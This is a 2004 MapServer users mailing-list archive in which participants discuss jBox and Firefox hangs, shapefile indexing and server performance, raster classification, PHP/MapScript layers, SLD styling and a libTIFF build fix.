I'm working around Mapplet/JBox and I'm = testing it=20 on some popular browser. I have noticed that there are some problem with = Mozilla=20 Firefox. When I try to do some operations like zoom out the Mozilla java = environment hangs and no other operations are possible.
 
At the following address there is a = mapserver/Jbox=20 application where I found the error:
http://www2.tetonwyo.org= /mapserver/mapserv.exe?MAP_IMAGETYPE=3Dgif&MAP_LEGEND_STATUS=3DOFF&am= p;MAP_REFERENCE_STATUS=3DON&java=3Don&imgext=3D2402364.115702+140= 6197.272727+2458002.297520+1447897.272727&map=3Dtc%2Ftc.map&mapex= t=3Dshapes&mode=3Dbrowse&zoomsize=3D2&template=3Dtc.html&= layers=3DRoads+ownership+Water+state_fed&zoomdir=3D0&imgxy=3D292.= 5+40.5&imgbox=3D292.5+40.5+292.5+40.5&help=3D&jump=3D&map= _size=3D440+330
 
Any suggestion?
Thanks.
 
 
 
------=_NextPart_000_0031_01C404FD.C361A590-- From snow77899 at hotmail.com Mon Mar 8 05:10:43 2004 From: snow77899 at hotmail.com (snow 77) Date: Mon, 08 Mar 2004 14:10:43 +0100 Subject: [Mapserver-users] win32 binary - ASP.net Message-ID: Hi! Has anyone a compiled win32 binary which support ASP.net? I'd like to integrate mapserver in an aspx-File. Therefore i had to edit the map.h file to support templatefiles with .aspx. But i'm not able to compile the mapserver files correctly. Please help me! I'm quite frustrated! Thanks! Sonja _________________________________________________________________ Behalten Sie Ihre Hotmails, den Messenger und die Suchfunktionen stets im Auge! http://toolbar.msn.at?DI=1031&XAPID=2083 From gerry.creager at tamu.edu Mon Mar 8 05:51:59 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Mon, 08 Mar 2004 07:51:59 -0600 Subject: [Mapserver-users] JBox and Mozilla Firefox In-Reply-To: <003401c404f5$64e8bf10$0501a8c0@comai04> References: <003401c404f5$64e8bf10$0501a8c0@comai04> Message-ID: <404C7A7F.20101@tamu.edu> Considering the status of Firefox, this should be summarized and posted to that group's support list as a potential buglet. gerry Bonnin S. wrote: > Hi all, > > I'm working around Mapplet/JBox and I'm testing it on some popular > browser. I have noticed that there are some problem with Mozilla > Firefox. When I try to do some operations like zoom out the Mozilla java > environment hangs and no other operations are possible. > > At the following address there is a mapserver/Jbox application where I > found the error: > http://www2.tetonwyo.org/mapserver/mapserv.exe?MAP_IMAGETYPE=gif&MAP_LEGEND_STATUS=OFF&MAP_REFERENCE_STATUS=ON&java=on&imgext=2402364.115702+1406197.272727+2458002.297520+1447897.272727&map=tc%2Ftc.map&mapext=shapes&mode=browse&zoomsize=2&template=tc.html&layers=Roads+ownership+Water+state_fed&zoomdir=0&imgxy=292.5+40.5&imgbox=292.5+40.5+292.5+40.5&help=&jump=&map_size=440+330 > > > Any suggestion? > Thanks. > > > -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From rich at greenwoodmap.com Mon Mar 8 06:28:14 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 08 Mar 2004 07:28:14 -0700 Subject: [Mapserver-users] JBox and Mozilla Firefox In-Reply-To: <003401c404f5$64e8bf10$0501a8c0@comai04> References: <003401c404f5$64e8bf10$0501a8c0@comai04> Message-ID: <404C82FE.70701@greenwoodmap.com> Bonnin S. wrote: > Hi all, > > I'm working around Mapplet/JBox and I'm testing it on some popular browser. I have noticed that there are some problem with Mozilla Firefox. When I try to do some operations like zoom out the Mozilla java environment hangs and no other operations are possible. > > At the following address there is a mapserver/Jbox application where I found the error: > http://www2.tetonwyo.org/mapserver/mapserv.exe?MAP_IMAGETYPE=gif&MAP_LEGEND_STATUS=OFF&MAP_REFERENCE_STATUS=ON&java=on&imgext=2402364.115702+1406197.272727+2458002.297520+1447897.272727&map=tc%2Ftc.map&mapext=shapes&mode=browse&zoomsize=2&template=tc.html&layers=Roads+ownership+Water+state_fed&zoomdir=0&imgxy=292.5+40.5&imgbox=292.5+40.5+292.5+40.5&help=&jump=&map_size=440+330 > > Any suggestion? > Thanks. I have not tried Firefox yet, but there are two problems that I have run into with Mozilla 1.6: 1. A call to any of the public applet functions while the applet is still loading will cause it to hang. Mozilla seemed to be the only browser that did this. It was not so much a problem with jBox as it was with my own integration of jBox into the page. I was calling boxon(), boxoff(), or dragon() from page body's onLoad() to set the initial page state. However, I suspect the applet was not always fulling initialized. I added an additional initilization parameter just last week to avoid this problem. When do you try it? 2. JRE 1.4.3 on Windows was causing problems. I have not had time to explore that further. What platform are you on? What Java VM version? You might check other jBox sites to see if they exhibit the same problems. I will try to load Firefox sometime soon. Rich -- Richard Greenwood www.greenwoodmap.com From ed at topozone.com Mon Mar 8 07:39:35 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 8 Mar 2004 10:39:35 -0500 Subject: [Mapserver-users] Performance of indexed shape files (W2K/php_mapscript) Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3EE6@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40523.8EBE22C5 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Uwe - =20 Performance can be a complicated issue; if, for example, there are other factors slowing down your performance, the improvements due to indexing may be so small as to be almost invisible. =20 I'd recommend a stripped-down test using the MapServer CGI - what else is your PHP code doing? Are you using template files (i.e. = mode=3Dbrowse) or a direct map request (mode=3Dmap)? You should be using the latter (mode=3Dmap) for your performance testing, because otherwise you're = adding the overhead of writing a temporary file to disk, which may be a serious delay. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: ujunge at pmcentral.com [mailto:ujunge at pmcentral.com]=20 Sent: Sunday, March 07, 2004 11:36 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Performance of indexed shape files (W2K/php_mapscript) Hello MapServer Users, =20 I do not see any performance differences using shapefile indexes, generated by precompiled shptree.exe (8/6/2003). In fact, no matter which command line parameters have been choosen,=20 shapefiles will not render faster nor slower if the qix-file is present or not.=20 =20 It doesn't even make a difference what shape-file I'am looking at. =20 For example, taking a 50MB shape file (200K lines) with street data covering CA or TX and zooming in=20 about 1 mile in any city takes exactly the same rendering time, with or without qix-files. =20 As another example, a 80MB filled polygon layer (16K polygons), displaying urban-areas and covering the entire US,=20 takes the same time to render (zooing in about 30miles), again with or without index-files. =20 With respect to the performance difference, - it doesn't matter, if the map for a specific area is requested the first time=20 or requested subsequently with small area-hanges . - it dosen't matter, if only one layer is requested, or more layers, which may not be indexed. =20 All layers have the same projection (WGS84) , the is no reprojection on the fly. =20 Does it mean, that the qix-index is not used at all ? =20 Is this a Windows - Distribution issue ? (i would like to use Linux, but the customer not) =20 I use the precomiled php_mapscript_40.dll (8/5/2003) on a PIII W2K-Server (512MB) . =20 =20 =20 Greetings, =20 =20 Uwe Junge =20 =20 =20 Uwe Junge PMCentral Systems, Inc. 4201 Pinefield Court Fairfax, Virginia 22033 =20 (703) 378-0952 =20 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.613 / Virus Database: 392 - Release Date: 3/4/2004 ------_=_NextPart_001_01C40523.8EBE22C5 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Uwe -
 
Performance can be a complicated issue; if, for = example,=20 there are other factors slowing down your performance, the improvements = due to=20 indexing may be so small as to be almost invisible.
 
I'd recommend a stripped-down test using the = MapServer CGI=20 - what else is your PHP code doing?  Are you using template files = (i.e.=20 mode=3Dbrowse) or a direct map request (mode=3Dmap)?  You should be = using the=20 latter (mode=3Dmap) for your performance testing, because otherwise = you're adding=20 the overhead of writing a temporary file to disk, which may be a serious = delay.
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: ujunge at pmcentral.com=20 [mailto:ujunge at pmcentral.com]
Sent: Sunday, March 07, 2004 = 11:36=20 PM
To: mapserver-users at lists.gis.umn.edu
Subject:=20 [Mapserver-users] Performance of indexed shape files=20 (W2K/php_mapscript)

Hello MapServer Users,
 
I do not see any performance = differences using=20 shapefile indexes, generated by precompiled shptree.exe = (8/6/2003).
In fact, no matter which command=20 line parameters have been choosen,
shapefiles will not render faster nor = slower =20 if  the qix-file is present or = not.=20
 
It doesn't even make a difference what=20 shape-file I'am looking at.
 
For example, taking a 50MB shape = file (200K=20 lines) with street data covering CA = or TX and=20 zooming in 
about 1 mile in any city takes exactly = the same=20 rendering time, with or without qix-files.
 
As another example, a 80MB filled = polygon layer=20 (16K polygons), displaying urban-areas and covering the entire US, =
takes the same time to render (zooing = in about=20 30miles), again with or without index-files.
 
With respect to the performance=20 difference,
- it doesn't matter, if = the map for a=20 specific area is requested the first time
  or requested=20 subsequently with small area-hanges .
- it dosen't matter, if only one layer = is=20 requested, or more layers, which may not be indexed.
 
All layers have the same projection = (WGS84) , the=20 is no reprojection on the fly.
 
Does it mean, that the qix-index is not = used at all=20 ?
 
Is this a Windows - Distribution issue = ?=20 (i would like to use Linux, but the = customer=20 not)
 
I use the = precomiled php_mapscript_40.dll=20 (8/5/2003) on a PIII W2K-Server  (512MB) .
 
 
 
Greetings,
 
 
Uwe Junge
 
 
 
Uwe Junge
PMCentral Systems, = Inc.
4201=20 Pinefield Court
Fairfax, Virginia 22033
 
(703) 378-0952
 

---
Outgoing mail is certified = Virus=20 Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: = 6.0.613 /=20 Virus Database: 392 - Release Date:=20 3/4/2004
------_=_NextPart_001_01C40523.8EBE22C5-- From warmerdam at pobox.com Mon Mar 8 10:02:53 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 08 Mar 2004 13:02:53 -0500 Subject: [Mapserver-users] Non-8bit Raster Classification and NODATA Message-ID: <404CB54D.3050609@pobox.com> Folks, I have committed support for proper classification of non-8bit rasters in MapServer. I hope to update the mapfile reference, and raster howto about this soon, but the basics that non-8bit rasters are now supported for a more refined classification (via a 16bit lookup table). Some notes: o Only works via GDAL raster module. o Only [pixel] can be used in expressions on these rasters, [red], [green] and [blue] will be ignored. o Internally mapserver is preparing a lookup table with up to 65536 entries (buckets) so you still don't get complete accurancy when classifying floating point values. o For any 16bit integer rasters (signed or unsigned) classification results should be exact. o For floating point rasters scaling to the 16bit lookup table may be explicitly controlled via the SCALE and SCALE_BUCKETS PROCESSING options. By default scale min and max are computed from the data, and 65536 buckets are used. o I have added support for a NODATA PROCESSING keyword so that non-colour offsite values can be supported. These can't really be specified via the OFFSITE keyword currently. Anyone wanting to experiment with this will need to build from CVS (last changes committed just a few minutes ago). Feel free to contact me for details. There are also some contrived examples of the various options in the MSAutoTest test suite. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From kallwn at icircus.net Mon Mar 8 10:03:31 2004 From: kallwn at icircus.net (kallwn) Date: Mon, 8 Mar 2004 11:03:31 -0700 Subject: [Mapserver-users] Mapserver and Apache performance References: <13858AA1A74F30419F319ACB66A9D1224E3ED6@mercator.topozone.com> Message-ID: <002801c40537$ac7e8750$4900a8c0@azstumbler.com> I'm using 5 shapefiles for each map. Almost all of them are points and under 100 KB and cover at the most 7 states in the US. Of the remaining 2 one is a shapefile of polygons of US urban areas about 5MB in size and the other is a file of lines about 9MB consisting of interstates and other limited access highways. I've created a quadtree index for each of them as suggested by Bart and that has improved loading time by about 3-4 seconds but I'm still getting complaints about the load time. I've thought about reducing the size of the 2 large files so they would cover just the extents the maps are displaying but that turned out be easier said than done due the area each map cover. ----- Original Message ----- From: "Ed McNierney" To: "kallwn" ; Sent: Sunday, March 07, 2004 10:33 AM Subject: RE: [Mapserver-users] Mapserver and Apache performance You need to tell us a bit more about what it is you're doing that is slow. For example, if you have an enormous shapefile and you're trying to draw the whole thing in one output map, that might take a while and produce an illegible map. I don't think playing with Apache settings will do you any good unless you understand the problem; they're very likely to be irrelevant. Please give us as much detail as you can about the nature, size, and number of the shapefiles you're using and the map image you're requesting. Does the performance change as you zoom in or out? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: kallwn [mailto:kallwn at icircus.net] Sent: Saturday, March 06, 2004 4:11 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver and Apache performance I was given a project this week to have ready by Monday. To accomplish this I had to install Mapserver and PHP from scratch and since no one really had much experience using either one under IIS I went with the MS4W distribution from maptools.org. Well it is now up and running but as one person had described it as "dog slow". This running on a Micron server with 4 Xenon 500MHz processors and about 3GB of memory (along with MS SQL Server and VS. NET). It is using shape files for it layers with no databases access involved. I'm going to add some performance improvements to Apache such as changing the KeepAlive settings. However I'm not sure how well this will work. Does anyone have any suggestions? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mh at svaj.dk Mon Mar 8 10:11:12 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Mon, 8 Mar 2004 19:11:12 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <8zoxdn06smb5hj1.080320041911@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From ed at topozone.com Mon Mar 8 10:36:37 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 8 Mar 2004 13:36:37 -0500 Subject: [Mapserver-users] Mapserver and Apache performance Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3EF5@mercator.topozone.com> Improved it by 3-4 seconds compared to what? What was the display speed before and after the change? Please describe the disk subsystem you're using. Also, are you using MapServer in mode=browse (template-processing) mode or mode=map? The first will require writing temporary files, which can also be a bottleneck. How large an area does each map display show? If you're trying to draw most or all of your data on a given map request, indexing won't help much; you will need to organize your data better. Expecting optimized performance in a few days is foolish, especially with a product that no one if your firm seems particularly familiar with. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: kallwn [mailto:kallwn at icircus.net] Sent: Monday, March 08, 2004 1:04 PM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Mapserver and Apache performance I'm using 5 shapefiles for each map. Almost all of them are points and under 100 KB and cover at the most 7 states in the US. Of the remaining 2 one is a shapefile of polygons of US urban areas about 5MB in size and the other is a file of lines about 9MB consisting of interstates and other limited access highways. I've created a quadtree index for each of them as suggested by Bart and that has improved loading time by about 3-4 seconds but I'm still getting complaints about the load time. I've thought about reducing the size of the 2 large files so they would cover just the extents the maps are displaying but that turned out be easier said than done due the area each map cover. ----- Original Message ----- From: "Ed McNierney" To: "kallwn" ; Sent: Sunday, March 07, 2004 10:33 AM Subject: RE: [Mapserver-users] Mapserver and Apache performance You need to tell us a bit more about what it is you're doing that is slow. For example, if you have an enormous shapefile and you're trying to draw the whole thing in one output map, that might take a while and produce an illegible map. I don't think playing with Apache settings will do you any good unless you understand the problem; they're very likely to be irrelevant. Please give us as much detail as you can about the nature, size, and number of the shapefiles you're using and the map image you're requesting. Does the performance change as you zoom in or out? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: kallwn [mailto:kallwn at icircus.net] Sent: Saturday, March 06, 2004 4:11 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver and Apache performance I was given a project this week to have ready by Monday. To accomplish this I had to install Mapserver and PHP from scratch and since no one really had much experience using either one under IIS I went with the MS4W distribution from maptools.org. Well it is now up and running but as one person had described it as "dog slow". This running on a Micron server with 4 Xenon 500MHz processors and about 3GB of memory (along with MS SQL Server and VS. NET). It is using shape files for it layers with no databases access involved. I'm going to add some performance improvements to Apache such as changing the KeepAlive settings. However I'm not sure how well this will work. Does anyone have any suggestions? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Josef.Stromsky.hgf at vsb.cz Mon Mar 8 11:15:39 2004 From: Josef.Stromsky.hgf at vsb.cz (=?iso-8859-2?Q?Josef_Stromsk=FD?=) Date: Mon, 8 Mar 2004 20:15:39 +0100 Subject: [Mapserver-users] How to create new layer and add user points ??? Message-ID: <000001c40541$c0fd37d0$548dc49e@joseph> Hi folks Im trying to solve this problem. I need to create new layer with users points by PHP/Mapscript. I've found one possibility in this mailinglist, but it doesn't work. This is my script: ------------------------------------------------------------------------ -------------------------------- getLayerByName("klimatic_wgs"); if ( isset($HTTP_GET_VARS['x']) && isset($HTTP_GET_VARS['y']) ) { $pointobj = ms_newPointObj(); $pointobj->setXY($HTTP_GET_VARS['x'],$HTTP_GET_VARS['y']); $lineobj = ms_newLineObj(); $lineobj->add($pointobj); $pointobj->free(); $shapeobj = ms_newShapeObj(MS_SHAPE_POINT); $shapeobj->add($lineobj); $lineobj->free(); $layerobj = ms_newLayerObj($mapFile); $layerobj->set('type',MS_LAYER_POINT); $layerobj->set('status',MS_ON); $layerobj->addFeature($shapeobj); $classobj = ms_newClassObj($layerobj); $classobj->set('symbol',0); $classobj->set('size',20); $newColor = $mapFile->addColor(255,255,0); $classobj->set("color", $newColor); } $mapImage = $mapFile->prepareImage(); $layer->draw($mapImage)"; $layerobj->draw($mapImage); $mapImagePath = "saveWebImage(MS_PNG'>http://158.196.143.80/".$mapImage- >saveWebImage(MS_PNG, 0, 0, 95); echo ""; ?> ------------------------------------------------------------------------ -------------------------------- This script doesn't returns any error messages, but only first layer($layer) is visible. If is here anybody with some idea how to solve this mess, I'll be thankful to you. Best regards. Josef Stromsky From bob.basques at ci.stpaul.mn.us Mon Mar 8 11:36:06 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Mon, 08 Mar 2004 13:36:06 -0600 Subject: [Mapserver-users] Question about input_type and input_coord Message-ID: <404CCB26.3030002@ci.stpaul.mn.us> This is a multi-part message in MIME format. --------------040304090504010909080301 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit All, I'm looking for a sample URL that would use these two parameters for querying MapServer. Are there any examples available for passing in multiple points to mapServer using INPUT_TYPE and INPUT_COORDS? thanks bobb --------------040304090504010909080301 Content-Type: text/x-vcard; charset=utf8; name="bob.basques.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="bob.basques.vcf" begin:vcard fn:Bob Basques n:Basques;Bob adr;dom:;;;Saint Paul email;internet:bob.basques at ci.stpaul.mn.us tel;work:651.266.6188 x-mozilla-html:TRUE version:2.1 end:vcard --------------040304090504010909080301-- From dmcilhagga at dmsolutions.ca Mon Mar 8 12:05:13 2004 From: dmcilhagga at dmsolutions.ca (Dave McIlhagga) Date: Mon, 08 Mar 2004 15:05:13 -0500 Subject: [Mapserver-users] SLD Problems In-Reply-To: References: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> <6.0.1.1.2.20040305134353.026713e0@gridg.grid.unep.ch> Message-ID: <404CD1F9.7030206@dmsolutions.ca> Hi Guys, Just for clarification -- "Studio" remains pretty much an internal development piece at the moment. We're still uncertain how we plan to distribute it (although you can count on seeing it in some way soon enough!!) For that matter, we're not even sure what we'll be calling it yet. ;) It's a pretty cool environment for styling remote data sources via SLD and also for managing local data layers through MapServer and a Mapfile. We're currently trying to decide if it should be released as a stand-alone utility, or only bundled within a future 3.0 release of MapLab. At the moment though, we've only made it accessible to a relatively small group of people as we don't have the capacity at the moment to support it beyond a few individuals. We'll follow up with much more information in the months ahead. and if you're really keen to learn more about it ... come out to the next MapServer user meeting in Ottawa - I'm sure there will be discussions on it then! ;) http://www.omsug.ca/osgis2004/index.html Dave Bart van den Eijnden wrote: > Hi Stefan, > > don't think the problem is in the MAP file, but here it goes. > > As for Studio, it is an OGC-centric application that allows you to > create classes and styles for use in SLD documents. I am only doing a > sort of beta test (0.99 version), but for sure if you ask DM Solutions, > you can have a beta test copy as well. This would simplify the process > you are going through now. > > Best regards, > Bart > > MAP > EXTENT 10000 305000 280000 619000 > IMAGECOLOR 255 255 255 > IMAGETYPE png > INTERLACE TRUE > SHAPEPATH "../data" > SIZE 860 590 > STATUS ON > TRANSPARENT FALSE > UNITS METERS > NAME "DEMO" > > OUTPUTFORMAT > NAME png > MIMETYPE image/png > DRIVER GD/PNG > EXTENSION png > IMAGEMODE PC256 > TRANSPARENT FALSE > END > > PROJECTION > "init=EPSG:28992" > END > LEGEND > IMAGECOLOR 255 255 255 > KEYSIZE 18 12 > KEYSPACING 5 5 > LABEL > SIZE MEDIUM > TYPE BITMAP > BUFFER 0 > COLOR 0 0 89 > FORCE FALSE > MINDISTANCE -1 > MINFEATURESIZE -1 > OFFSET 0 0 > PARTIALS TRUE > END > POSITION LL > STATUS ON > #TEMPLATE > "d:/ms4w/maplab-2.1-rc1/htdocs/mapbrowser/legend_template.html" > END > > QUERYMAP > COLOR 255 0 0 > SIZE -1 -1 > STATUS OFF > STYLE HILITE > END > > SCALEBAR > BACKGROUNDCOLOR 0 0 0 > COLOR 255 255 255 > IMAGECOLOR 255 255 255 > INTERVALS 5 > LABEL > SIZE SMALL > TYPE BITMAP > BUFFER 0 > COLOR 0 0 0 > FORCE FALSE > MINDISTANCE -1 > MINFEATURESIZE -1 > OFFSET 0 0 > PARTIALS TRUE > POSITION UL > END > OUTLINECOLOR 0 0 0 > POSITION LL > SIZE 150 5 > STATUS OFF > STYLE 0 > UNITS KILOMETERS > END > > WEB > IMAGEPATH "/ms4w/tmp/ms_tmp/" > IMAGEURL "/ms_tmp/" > METADATA > WMS_TITLE "Gemeentes mapserver WMS" > WMS_ABSTRACT "UMN MapServer Gemeentekaart" > WMS_ACCESSCONSTRAINTS none > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes mapserver WFS" > WFS_ONLINERESOURCE > "http://www.vz.geodan.nl:1111/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" > > WFS_SRS "EPSG:28992" > OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" > END > END > > LAYER > DATA "Nlge_r98" > METADATA > WMS_TITLE "Gemeentes" > WMS_ABSTRACT "Gemeentes via UMN Mapserver" > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes" > END > NAME "Gemeentes" > SIZEUNITS PIXELS > STATUS ON > TOLERANCE 0 > TOLERANCEUNITS PIXELS > TYPE POLYGON > DUMP TRUE > TEMPLATE "blank.html" > UNITS METERS > CLASS > NAME "Foreign Lands" > STYLE > MAXSIZE 100 > MINSIZE 1 > OUTLINECOLOR 255 0 0 > SIZE 1 > SYMBOL 0 > END > END > END > > END > > On Fri, 05 Mar 2004 13:47:47 +0100, Stefan Schwarzer > wrote: > >> Bart, >> >> thanks for the script. Don't see so much difference though to mine. Could >> you perhaps send as well the map file, or at least the necessary >> parts, so >> that I can compare that as well? The uppercase didn't succeed... >> >> And what's the Studio? Haven't heard about it and haven't seen it >> either on >> their web site. >> >> Thanks for your help, >> >> Stefan >> >> >> >>> Hi Stefan, >>> >>> below is an SLD document which works for me on Mapserver. I have just >>> created this SLD with a test version of Studio, the new product by DM >>> Solutions for creating SLD documents. >>> >>> Note that the NAME is all uppercase in my generated SLD, I don't know >>> why >>> this is the case, because it is not according to spec as far as I know. >>> You could try changing that in your SLD. Also, is your Mapserver binary >>> new enough for this stuff? >>> >>> Best regards, >>> Bart >>> >>> >>> >>> Gemeentes >>> >>> >>> >>> GEMNAAMDeurne >>> >>> >>> >>> #8f0000 >>> >>> >>> 1 >>> >>> cross >>> >>> #8f0000 >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> Best regards, >>> Bart >>> >>> On Fri, 05 Mar 2004 10:28:53 +0100, Stefan Schwarzer >>> wrote: >>> >>>> Hi there, >>>> >>>> I am trying to change the layer properties via SLD. Although I think I >>>> setup everything correctly, it just doesn't want to work. Could anyone >>>> perhaps give me a hint on what I do wrong? See below the URL, the >>>> SLD and >>>> the MAP file. The map displays, but not with the desired changes in >>>> fill >>>> and stroke. >>>> >>>> Thanks for any help, >>>> >>>> Stefan >>>> >>>> >>>> http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml >>>> >>>> >>>> >>>> >>>> >>>> >>>> boundaries >>>> >>>> xxx >>>> >>>> >>>> >>>> >>>> >>> name="fill">#0000ff >>>> >>>> >>>> >>> name="stroke">#ff0000 >>>> >>>> >>>> >>>> >>>> >>>> >>>> >>>> >>>> >>>> >>>> # >>>> # Start of map file >>>> # >>>> >>>> NAME boundaries >>>> STATUS ON >>>> SIZE 600 300 >>>> EXTENT -180 -90 180 90 >>>> UNITS DD >>>> SHAPEPATH "data" >>>> IMAGETYPE PNG >>>> FONTSET etc/fonts.txt >>>> >>>> >>>> >>>> # Projection definition --------------------- >>>> >>>> PROJECTION >>>> "init=epsg:4326" >>>> proj=latlong >>>> ellps=WGS84 >>>> END >>>> >>>> # End Projection definition --------------------- >>>> >>>> >>>> >>>> # Web definition --------------------- >>>> >>>> WEB >>>> HEADER demo_header.html >>>> TEMPLATE demo.html >>>> FOOTER demo_footer.html >>>> >>>> IMAGEPATH '../temp/' >>>> IMAGEURL 'temp/' >>>> >>>> METADATA >>>> "wms_title" "boundaries" >>>> "wms_onlineresource" >>>> "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" >>>> >>>> END >>>> END >>>> >>>> # End Web definition --------------------- >>>> >>>> >>>> >>>> LAYER >>>> NAME boundaries >>>> TYPE POLYGON >>>> STATUS ON >>>> DATA boundaries >>>> DUMP TRUE >>>> CLASSITEM CNTRY_NAME >>>> CLASS >>>> NAME 'boundaries' >>>> OUTLINECOLOR 0 0 0 >>>> COLOR 100 100 100 >>>> TEMPLATE 'dummy' >>>> END >>>> METADATA >>>> wms_title "boundaries" >>>> END >>>> END >>>> >>>> END # Map File >>>> >>>> >>>> >>>> >>>> _______________________________________ >>>> >>>> Stefan Schwarzer >>>> Consultant on GEO >>>> >>>> UNEP/DEWA/GRID-Geneva >>>> Chemin des Anemones 11 >>>> CH - 1219 Chatelaine >>>> Switzerland >>>> >>>> Tel: (+41) 22.917.83.49 >>>> Fax: (+41) 22.917.80.29 >>>> >>>> Email: stefan.schwarzer at grid.unep.ch >>>> Internet: http://geodata.grid.unep.ch/ >>>> _______________________________________ >>> >>> >>> >>> >>> -- >>> >> >> _______________________________________ >> >> Stefan Schwarzer >> Consultant on GEO >> >> UNEP/DEWA/GRID-Geneva >> Chemin des Anemones 11 >> CH - 1219 Chatelaine >> Switzerland >> >> Tel: (+41) 22.917.83.49 >> Fax: (+41) 22.917.80.29 >> >> Email: stefan.schwarzer at grid.unep.ch >> Internet: http://geodata.grid.unep.ch/ >> _______________________________________ > > > > From sean at satshot.com Mon Mar 8 14:35:42 2004 From: sean at satshot.com (Sean Kleinjung) Date: 08 Mar 2004 16:35:42 -0600 Subject: [Mapserver-users] Error Displaying Rasters {Scanned} In-Reply-To: References: Message-ID: <1078785342.3441.9.camel@olympus.satshot.com> Ok...We figured this out. I'll describe what we did here in case someone in the future runs into a similar problem. We reconfigured mapserver with the --without-tiff option, and tried to compile it. It configured fine, and churned on the compile for a few minutes before failiing with the following error: /PATH/TO/GDAL-1.1.9/lib/libgdal.1.1.so: undefined reference to TIFFImageFieldInfo After some fiddling around in the archives of this list and on google, we determined that for some reason it was linking against the 3.5.7 version of libTIFF that was found in /usr/lib. We never really determined why this is, since when we compiled GDAL we pointed it to the 3.6.1 version of libTIFF installed elsewhere. In any case, we symlinked the 3.5.7 version of the library to point to our newer version. This let it compile fine, and it renders imagery now. It remains to be seen if just changing the library like this breaks any other software on the system. If it does, we still have a copy of the old one and will have to figure out how to update the library paths the recommended way. But, this seems to be working so far, and gets us one step closer to having this thing running. Thanks for your help, Sean Kleinjung Web Application Developer Agri ImaGIS Technologies, Inc. sean at satshot.com On Mon, 2004-03-08 at 03:21, Siki Zoltan wrote: > Hi Sean, > > I had similar problem on Linux with Mapserver 4. > I have recompiled Mapserver without tiff support. > On win32 I use the binary release, and it works fine. > > I hope it helps you > > Bye > Zoltan > > On 7 Mar 2004, Sean Kleinjung wrote: > > > Hello, > > > > We have been using an ancient version of MapServer (3.2) to run a number > > of websites. We are finally getting around to building a site using a > > new version (4.0.1) of MapServer, but have run into a snag getting > > raster data to display. > > > > We've upgraded our mapfiles and have gotten the query and display of > > ESRI shapefiles to work fine, but adding any raster layers to the > > mapfile causes the server to return an internal server error. I have > > tried both using tiled raster layers, and the simple case of just > > including a layer with the data pointing to an image file (as described > > in the Raster HOWTO). > > > > Enclosed at the end of this message is a stripped down mapfile with just > > a single raster layer. The .tif file I am referencing is a GeoTIFF and > > the supplied projection information is correct. It is an 8-bit image > > that displays fine under the systems running MapServer 3.2. > > > > The output of mapserv -v is as follows: > > > > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > > SUPPORTS=FREETYPE 